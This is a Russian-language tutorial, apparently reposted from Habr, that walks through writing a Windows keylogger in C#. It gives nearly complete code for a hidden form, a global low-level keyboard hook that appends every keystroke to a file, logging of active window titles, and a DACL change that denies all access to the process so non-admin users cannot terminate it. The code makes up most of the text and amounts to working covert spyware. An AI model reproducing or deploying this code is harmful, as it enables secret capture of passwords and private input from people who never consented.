Что будет реализовано:
- Логирование ввода с клавиатуры.
- Логирование активного окна.
- Блокировка процесса от пользователя без привилегий администратора.
- Остановка процесса по сочетанию клавиш.
Для написания понадобится C#, знание Win API и DACL Windows.
Итак, разберем несколько типов системных кодов, которые будут необходимы, каждый тип будет храниться в отдельном Enum.
Типы хуков (hooks).
public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, }
Чтобы отлавливать все события, связанные с клавиатурой, нужен тип WH_KEYBOARD_LL. Все остальные типы хуков требуют реализации отдельных DLL, кроме еще одного хука WH_MOUSE_LL — события связанные с мышью.
Типы событий связанные с клавиатурой, нажатие и отпускание клавиши.
public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, }
Будем записывать вводимые символы по отпусканию клавиши — WM_KEYUP.
Отдельно типы для отлавливания перехода пользователя с одного окна приложения на другое.
public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; }
Enum для того чтобы задействовать сочетание клавиш на отключение программы.
public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, }
Для того чтобы реализовать все пункты сначала создаем Форму и прячем ее от пользователя. Достаточно переопределить базовый метод SetVisibleCore.
protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); }
Форма будет запускаться при старте программы.
Application.Run(HiddenForm);
Есть форма и теперь нужно добавить главную функцию — перехват ввода с клавиатуры. Используем Win API метод SetWindowsHookEx, в качестве параметров будут передаваться:
- Тип хука — WH_KEYBOARD_LL.
- Функция обратного вызова, т.е. тот метод который должен обрабатывать все события связанные с клавиатурой.
- Идентификатор текущего модуля.
- Идентификатор потока — 0. Ноль чтобы хук ассоциировался со всеми потоками.
internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } }
Сам метод который обрабатывает хук. В нем несколько параметров, nCode — для того чтобы понимать нужно ли обрабатывать текущее событие или сразу же передать дальше,
wParam — тип события (нажатие или отпускание клавиши), lParam — символ который сейчас нажат. По сути lParam это массив байтов, так что в нем хранится дополнительная информация, например, количество символов если пользователь удерживает клавишу а машина, на которой происходит обработка, медленная.
internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); }
Данная реализация записывает символ только после того как пользователь отпустил клавишу. Чтобы записать количество символов, нужно имплементировать случай с типом WM_KEYDOWN.
SetKeysState метод служит для того чтобы знать в каком состояние находятся дополнительные клавиши, например клавиши влияющие на регистр.
private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; }
GetKeyState — это еще один метод Win API, через который можно узнать состояние по коду клавиши.
private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; }
В методе GetSymbol, сначала запрашивается код раскладки клавиатуры GetKeyboardLayout текущего окна, и затем ToUnicodeEx чтобы получить символ, оба Win API методы. Если задействованы клавиши влияющие на регистр то символ необходимо привести к верхнему регистру.
Этого будет достаточно для логирования ввода с клавиатуры. Но чтобы записывать текущее активное окно нужно использовать другой хук.
internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } }
Тип EVENT_SYSTEM_FOREGROUND нужен для того чтобы отслеживать изменение активного окна. А WINEVENT_OUTOFCONTEXT указывает на то что callBack метод находится в нашем приложении.
Метод передаваемый в цепочку хуков содержит множество параметров, которые могут быть полезны при более детальной реализации, для этого случая достаточно узнать активное окно и его заголовок.
internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); }
То есть каждое событие смены окна будет записываться. И в GetActiveWindowTitle достаточно использовать пару Win API методов GetForegroundWindow — узнать идентификатор текущего активного окна, после запросить заголовок с помощью GetWindowText.
private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; }
До этого момента все вызовы системных функций были взяты из библиотеки User32 и Kernel32. На следующем шаге понадобится библиотека advapi32.
Третий шаг заключается в том чтобы не дать обычному пользователя завершить процесс записи ввода с клавиатуры. Сначала необходимо получить дескриптор данного процесса а потом его изменить, добавив запись в DACL.
internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); }
Получение дескриптора процесса происходит через GetKernelObjectSecurity, метод вызывается два раза, сначала получаем длину дескриптора, а вторым вызовом получаем непосредственно дескриптор процесса.
private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); }
После изменения дескриптора нужно внести эту информацию в текущий процесс. Достаточно передать идентификатор и дескриптор процесса в системный метод SetKernelObjectSecurity.
private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); }
Завершающий этап — остановка процесса по сочетанию клавиш.
internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; }
Здесь key это сочетание клавиш, а handle идентификатор спрятанной формы. Чтобы распознать сочетание клавиш на форме создается keyId, по которому можно проверять срабатывание комбинации клавиш. И все это записываем через Win API метод RegisterHotKey.
И чтобы наконец остановить процесс переопределяем метод WndProc в форме.
protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); }
Полезные ссылки:
ссылка на оригинал статьи https://habr.com/ru/post/482644/
Добавить комментарий